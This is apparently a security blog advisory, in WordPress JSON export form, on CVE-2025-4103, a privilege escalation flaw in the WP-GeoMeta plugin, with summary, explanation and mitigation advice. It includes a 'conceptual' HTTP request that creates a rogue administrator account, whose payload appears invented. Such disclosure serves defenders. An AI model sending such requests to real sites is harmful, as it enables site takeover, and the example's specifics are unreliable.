{"id":49272,"date":"2025-06-06T09:35:51","date_gmt":"2025-06-06T09:35:51","guid":{"rendered":""},"modified":"2025-09-26T14:05:07","modified_gmt":"2025-09-26T20:05:07","slug":"cve-2025-4103-privilege-escalation-vulnerability-in-wp-geometa-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4103-privilege-escalation-vulnerability-in-wp-geometa-plugin-for-wordpress\/","title":{"rendered":"CVE-2025-4103: Privilege Escalation Vulnerability in WP-GeoMeta Plugin for WordPress<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A severe vulnerability has been discovered in the WP-GeoMeta plugin for WordPress, which could potentially compromise systems and lead to data leakage. This vulnerability, identified as CVE-2025-4103, is particularly concerning because it allows attackers with only Subscriber-level access to elevate their privileges to the level of an administrator. This privilege escalation vulnerability<\/a> poses a significant risk to all users of the vulnerable versions of the WP-GeoMeta plugin, as it opens the door for malicious actors to gain unauthorized control over their WordPress sites.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-4103
\nSeverity: High (8.8)
\nAttack Vector: Network
\nPrivileges Required: Low (Subscriber-level access)
\nUser Interaction: Required
\nImpact: System compromise or data leakage<\/a><\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

WP-GeoMeta Plugin for WordPress<\/a> | 0.3.4 to 0.3.5<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability resides in the `wp_ajax_wpgm_start_geojson_import()` function of the WP-GeoMeta plugin<\/a>. This function lacks a necessary capability check, which means that it does not properly verify the permissions of the user<\/a> making the request. As a result, a malicious actor with Subscriber-level access could exploit this oversight to perform administrative actions, like uploading malicious files<\/a>, changing site settings, or even creating new admin-level user accounts.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following is a conceptual example of how an attacker could exploit this vulnerability<\/a>. This is a hypothetical HTTP request<\/a> that might be sent by an attacker already authenticated as a subscriber:<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=wpgm_start_geojson_import HTTP\/1.1\nHost: targetsite.com\nContent-Type: application\/json\nCookie: wordpress_logged_in_[hash]=[username]|1434730000|abcdef1234567890abcdef1234567890\n{\n\"importData\": {\n\"type\": \"FeatureCollection\",\n\"features\": [\n{\n\"type\": \"Feature\",\n\"properties\": {\n\"title\": \"Injected Admin Account\",\n\"role\": \"administrator\",\n\"username\": \"attacker\",\n\"email\": \"attacker@example.com\",\n\"password\": \"P@ssw0rd!\"\n}\n}\n]\n}\n}<\/code><\/pre>\n
In this example, the attacker is exploiting the vulnerability to create a new admin-level user account<\/a> under their control.<\/p>\n
Mitigation<\/strong><\/p>\n
Users of the WP-GeoMeta Plugin<\/a> for WordPress should apply the latest vendor patch to mitigate this vulnerability. If a patch is not yet available, users should consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to provide temporary protection against potential exploitation of this vulnerability<\/a>. Regularly monitoring system logs<\/a> for any suspicious activity is also strongly recommended.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview A severe vulnerability has been discovered in the WP-GeoMeta plugin for WordPress, which could potentially compromise systems and lead to data leakage. This vulnerability, identified as CVE-2025-4103, is particularly concerning because it allows attackers with only Subscriber-level access to elevate their privileges to the level of an administrator. This privilege escalation vulnerability poses a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-49272","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t